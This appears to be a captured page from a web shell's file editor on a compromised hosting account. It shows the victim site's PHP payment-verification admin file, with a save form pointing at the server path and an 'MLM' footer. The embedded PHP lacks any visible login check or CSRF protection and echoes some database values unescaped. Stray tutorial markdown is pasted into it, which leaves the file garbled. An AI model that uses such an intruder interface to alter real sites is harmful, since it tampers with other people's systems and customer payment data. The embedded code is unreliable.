

<div style='background:#ffffff; color:#000; font-family:monospace; padding:0; max-width:900px; margin:20px auto; border:3px solid #000;'><div style='background:#000080; color:#fff; padding:6px 12px; font-weight:bold;'>✏ 编辑: verify_payments.php</div><div style='padding:20px;'><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#fff; color:#000; border:2px solid #000; font-family:monospace; padding:10px;'>&lt;?php
session_start();
require_once __DIR__ . '/../../admin/db_config.php';
require_once __DIR__ . '/../../admin/currency_config.php';
$conn = getDBConnection();

// Handle verification action
if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['action'])) {
    $booking_id = (int)$_POST['booking_id'];
    $action = $_POST['action']; // 'verify' or 'reject'
    $admin_notes = trim($_POST['admin_notes'] ?? '');
    
    if ($action === 'verify') {
        $payment_status = 'success';
        $payment_verified = 'verified';
    } else {
        $payment_status = 'failed';
        $payment_verified = 'rejected';
    }
    
    $stmt = $conn-&gt;prepare(&quot;UPDATE bookings SET payment_status = ?, payment_verified = ?, admin_notes = ? WHERE id = ?&quot;);
    $stmt-&gt;bind_param(&quot;sssi&quot;, $payment_status, $payment_verified, $admin_notes, $booking_id);
    $stmt-&gt;execute();
    $stmt-&gt;close();
    
    header(&quot;Location: verify_payments.php?msg=&quot; . ($action === 'verify' ? 'verified' : 'rejected'));
    exit;
}

// Fetch bookings with payment proofs
$query = &quot;
    SELECT 
        b.id,
        b.first_name,
        b.last_name,
        b.email,
        b.telephone,
        b.consult_date,
        b.consult_time,
        b.created_at,
        b.payment_status,
        b.payment_verified,
        b.payment_method,
        b.payment_proof,
        b.amount_paid,
        b.currency,
        b.admin_notes,
        s.title AS service_title
    FROM bookings b
    JOIN services s ON b.service_id = s.id
    WHERE b.payment_proof IS NOT NULL
    ORDER BY 
        CASE b.payment_verified
            WHEN 'pending' THEN 1
            WHEN 'verified' THEN 2
            WHEN 'rejected' THEN 3
        END,
        b.created_at DESC
&quot;;

$result = $conn-&gt;query($query);
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;title&gt;Payment Verification&lt;/title&gt;
&lt;style&gt;
body {
    font-family: Arial, sans-serif;
    background: #f5f5f5;
    margin: 0;
    padding: 20px;
    color: #333;
}

.container {
    max-width: 1400px;
    margin: 0 auto;
    background: #fff;
    border-radius: 8px;
    padding: 30px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.08);
}

h1 {
    color: #222;
    border-bottom: 3px solid #764ba2;
    padding-bottom: 15px;
    margin-bottom: 30px;
}

.alert {
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 20px;
}

.alert-success {
    background: #d4edda;
    color: #155724;
    border-left: 4px solid #28a745;
}

.alert-danger {
    background: #f8d7da;
    color: #721c24;
    border-left: 4px solid #dc3545;
}

.payment-grid {
    display: grid;
    gap: 25px;
}

.payment-card {
    border: 2px solid #e0e0e0;
    border-radius: 12px;
    padding: 25px;
    background: white;
    transition: all 0.3s;
}

.payment-card.pending {
    border-left: 5px solid #ffc107;
}

.payment-card.verified {
    border-left: 5px solid #28a745;
    background: #f8fff9;
}

.payment-card.rejected {
    border-left: 5px solid #dc3545;
    background: #fff5f5;
}

.card-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 20px;
    padding-bottom: 15px;
    border-bottom: 2px solid #f0f0f0;
}

.booking-id {
    font-size: 20px;
    font-weight: bold;
    color: #764ba2;
}

.status-badge {
    padding: 6px 14px;
    border-radius: 20px;
    font-size: 12px;
    font-weight: 600;
    text-transform: uppercase;
}

.status-pending {
    background: #fff3cd;
    color: #856404;
}

.status-verified {
    background: #d4edda;
    color: #155724;
}

.status-rejected {
    background: #f8d7da;
    color: #721c24;
}

.card-body {
    display: grid;
    grid-template-columns: 1fr 1fr 300px;
    gap: 25px;
}

.customer-info, .payment-info {
    font-size: 14px;
}

.customer-info p, .payment-info p {
    margin: 8px 0;
}

.customer-info strong, .payment-info strong {
    color: #555;
    display: inline-block;
    width: 120px;
}

.proof-viewer {
    text-align: center;
}

.proof-viewer img {
    max-width: 100%;
    max-height: 250px;
    border-radius: 8px;
    border: 2px solid #ddd;
    cursor: pointer;
}

.proof-viewer a {
    display: inline-block;
    margin-top: 10px;
    color: #764ba2;
    text-decoration: none;
    font-weight: 600;
}

.proof-viewer a:hover {
    text-decoration: underline;
}

.verification-form {
    margin-top: 20px;
    padding: 20px;
    background: #f8f9fa;
    border-radius: 8px;
}

.verification-form textarea {
    width: 100%;
    padding: 12px;
    border: 1px solid #ddd;
    border-radius: 6px;
    margin-bottom: 15px;
    font-family: Arial, sans-serif;
    resize: vertical;
}

.action-buttons {
    display: flex;
    gap: 10px;
}

.btn {
    flex: 1;
    padding: 12px;
    border: none;
    border-radius: 6px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s;
}

.btn-verify {
    background: #28a745;
    color: white;
}

.btn-verify:hover {
    background: #218838;
}

.btn-reject {
    background: #dc3545;
    color: white;
}

.btn-reject:hover {
    background: #c82333;
}

.btn-back {
    display: inline-block;
    padding: 12px 24px;
    background: #764ba2;
    color: white;
    text-decoration: none;
    border-radius: 6px;
    margin-bottom: 20px;
}

.btn-back:hover {
    background: #5c3a7d;
}

.no-data {
    text-align: center;
    padding: 60px 20px;
    color: #999;
}

.admin-notes-display {
    background: #fff3cd;
    padding: 12px;
    border-radius: 6px;
    margin-top: 15px;
    border-left: 4px solid #ffc107;
}

.admin-notes-display strong {
    color: #856404;
}

/* Modal for full-size image */
.modal {
    display: none;
    position: fixed;
    z-index: 1000;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0,0,0,0.9);
}

.modal-content {
    margin: auto;
    display: block;
    max-width: 90%;
    max-height: 90%;
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
}

.close-modal {
    position: absolute;
    top: 20px;
    right: 40px;
    color: #f1f1f1;
    font-size: 40px;
    font-weight: bold;
    cursor: pointer;
}

.close-modal:hover {
    color: #bbb;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class=&quot;container&quot;&gt;
    &lt;a href=&quot;bookings.php&quot; class=&quot;btn-back&quot;&gt;← Back to Bookings&lt;/a&gt;
    
    &lt;h1&gt;💳 Payment Verification Panel&lt;/h1&gt;

    &lt;?php if (isset($_GET['msg'])): ?&gt;
        &lt;?php if ($_GET['msg'] === 'verified'): ?&gt;
            &lt;div class=&quot;alert alert-success&quot;&gt;✅ Payment has been verified successfully!&lt;/div&gt;
        &lt;?php elseif ($_GET['msg'] === 'rejected'): ?&gt;
            &lt;div class=&quot;alert alert-danger&quot;&gt;❌ Payment has been rejected.&lt;/div&gt;
        &lt;?php endif; ?&gt;
    &lt;?php endif; ?&gt;

    &lt;?php if ($result &amp;&amp; $result-&gt;num_rows &gt; 0): ?&gt;
        &lt;div class=&quot;payment-grid&quot;&gt;
            &lt;?php while($booking = $result-&gt;fetch_assoc()): ?&gt;
                &lt;div class=&quot;payment-card &lt;?php echo $booking['payment_verified']; ?&gt;&quot;&gt;
                    &lt;div class=&quot;card-header&quot;&gt;
                        &lt;div class=&quot;booking-id&quot;&gt;#&lt;?php echo $booking['id']; ?&gt;&lt;/div&gt;
                        &lt;div class=&quot;status-badge status-&lt;?php echo $booking['payment_verified']; ?&gt;&quot;&gt;
                            &lt;?php echo ucfirst($booking['payment_verified']); ?&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;

                    &lt;div class=&quot;card-body&quot;&gt;
                        &lt;div class=&quot;customer-info&quot;&gt;
                            &lt;h3 style=&quot;margin-top: 0;&quot;&gt;Customer Details&lt;/h3&gt;
                            &lt;p&gt;&lt;strong&gt;Name:&lt;/strong&gt; &lt;?php echo htmlspecialchars($booking['first_name'] . ' ' . $booking['last_name']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Email:&lt;/strong&gt; &lt;?php echo htmlspecialchars($booking['email']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Phone:&lt;/strong&gt; &lt;?php echo htmlspecialchars($booking['telephone']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Service:&lt;/strong&gt; &lt;?php echo htmlspecialchars($booking['service_title']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Consultation:&lt;/strong&gt; &lt;?php echo date('M d, Y', strtotime($booking['consult_date'])); ?&gt; at &lt;?php echo date('h:i A', strtotime($booking['consult_time'])); ?&gt;&lt;/p&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;payment-info&quot;&gt;
                            &lt;h3 style=&quot;margin-top: 0;&quot;&gt;Payment Details&lt;/h3&gt;
                            &lt;p&gt;&lt;strong&gt;Amount:&lt;/strong&gt; &lt;?php echo getCurrencySymbol($booking['currency']) . number_format($booking['amount_paid'], 2); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Currency:&lt;/strong&gt; &lt;?php echo $booking['currency']; ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Method:&lt;/strong&gt; &lt;?php echo ucfirst($booking['payment_method']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Status:&lt;/strong&gt; &lt;?php echo ucfirst($booking['payment_status']); ?&gt;&lt;/p&gt;
                            &lt;p&gt;&lt;strong&gt;Submitted:&lt;/strong&gt; &lt;?php echo date('M d, Y h:i A', strtotime($booking['created_at'])); ?&gt;&lt;/p&gt;
                            
                            &lt;?php if (!empty($booking['admin_notes'])): ?&gt;
                                &lt;div class=&quot;admin-notes-display&quot;&gt;
                                    &lt;strong&gt;Admin Notes:&lt;/strong&gt;&lt;br&gt;
                                    &lt;?php echo nl2br(htmlspecialchars($booking['admin_notes'])); ?&gt;
                                &lt;/div&gt;
                            &lt;?php endif; ?&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;proof-viewer&quot;&gt;
                            &lt;h3 style=&quot;margin-top: 0;&quot;&gt;Payment Proof&lt;/h3&gt;
                            &lt;?php
                            $proofPath = 'uploads/payment_proofs/' . $booking['payment_proof'];
                            $fileExt = pathinfo($booking['payment_proof'], PATHINFO_EXTENSION);
                            ?&gt;
                            
                            &lt;?php if (in_array(strtolower($fileExt), ['jpg', 'jpeg', 'png', 'gif'])): ?&gt;
                                &lt;img src=&quot;../../&lt;?php echo $proofPath; ?&gt;&quot; 
                                     alt=&quot;Payment Proof&quot; 
                                     onclick=&quot;openModal('../../&lt;?php echo $proofPath; ?&gt;')&quot;&gt;
                            &lt;?php else: ?&gt;
                                &lt;p&gt;📄 PDF Document&lt;/p&gt;
                            &lt;?php endif; ?&gt;
                            
                            &lt;a href=&quot;../../&lt;?php echo $proofPath; ?&gt;&quot; target=&quot;_blank&quot; download&gt;
                                📥 Download Proof
                            &lt;/a&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;

                    &lt;?php if ($booking['payment_verified'] === 'pending'): ?&gt;
                        &lt;div class=&quot;verification-form&quot;&gt;
                            &lt;form method=&quot;POST&quot;&gt;
                                &lt;input type=&quot;hidden&quot; name=&quot;booking_id&quot; value=&quot;&lt;?php echo $booking['id']; ?&gt;&quot;&gt;
                                
                                &lt;label style=&quot;display:block; margin-bottom:8px; font-weight:600;&quot;&gt;Admin Notes:&lt;/label&gt;
                                &lt;textarea name=&quot;admin_notes&quot; rows=&quot;3&quot; placeholder=&quot;Add notes (optional)&quot;&gt;&lt;/textarea&gt;
                                
                                &lt;div class=&quot;action-buttons&quot;&gt;
                                    &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;verify&quot; class=&quot;btn btn-verify&quot;&gt;
                                        ✅ Verify Payment
                                    &lt;/button&gt;
                                    &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;reject&quot; class=&quot;btn btn-reject&quot;&gt;
                                        ❌ Reject Payment
                                    &lt;/button&gt;
                                &lt;/div&gt;
                            &lt;/form&gt;
                        &lt;/div&gt;
                    &lt;?php endif; ?&gt;
                &lt;/div&gt;
            &lt;?php endwhile; ?&gt;
        &lt;/div&gt;
    &lt;?php else: ?&gt;
        &lt;div class=&quot;no-data&quot;&gt;
            &lt;p style=&quot;font-size: 18px;&quot;&gt;📭 No payment proofs to verify&lt;/p&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
&lt;/div&gt;

&lt;!-- Modal for full-size image --&gt;
&lt;div id=&quot;imageModal&quot; class=&quot;modal&quot; onclick=&quot;closeModal()&quot;&gt;
    &lt;span class=&quot;close-modal&quot;&gt;&amp;times;&lt;/span&gt;
    &lt;img class=&quot;modal-content&quot; id=&quot;modalImage&quot;&gt;
&lt;/div&gt;

&lt;script&gt;
function openModal(src) {
    document.getElementById('imageModal').style.display = 'block';
    document.getElementById('modalImage').src = src;
}

function closeModal() {
    document.getElementById('imageModal').style.display = 'none';
}
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;

&lt;?php $conn-&gt;close(); ?&gt;
```

---

## **Step 6: Add Google Pay QR Code Image**

Create or download a Google Pay QR code image and save it as:
```
/images/gpay_qr.png</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/askmanisha/public_html/admin/Bookings/verify_payments.php'><input type='submit' value='[确定] 保存' style='background:#c0c0c0; color:#000; border:2px solid #000; padding:8px 24px; font-family:monospace; font-weight:bold; cursor:pointer;'> <a href='?path=%2Fhome%2Faskmanisha%2Fpublic_html%2Fadmin%2FBookings' style='color:#000; text-decoration:none; padding:8px 24px; border:2px solid #000; background:#c0c0c0; font-weight:bold;'>[X] 取消</a></form></div></div><div style='color:#000080; font-family:monospace; text-align:center; padding:20px; border-top:2px solid #000; margin-top:20px;'>[X] MAKING LOT MONEY (MLM)</div>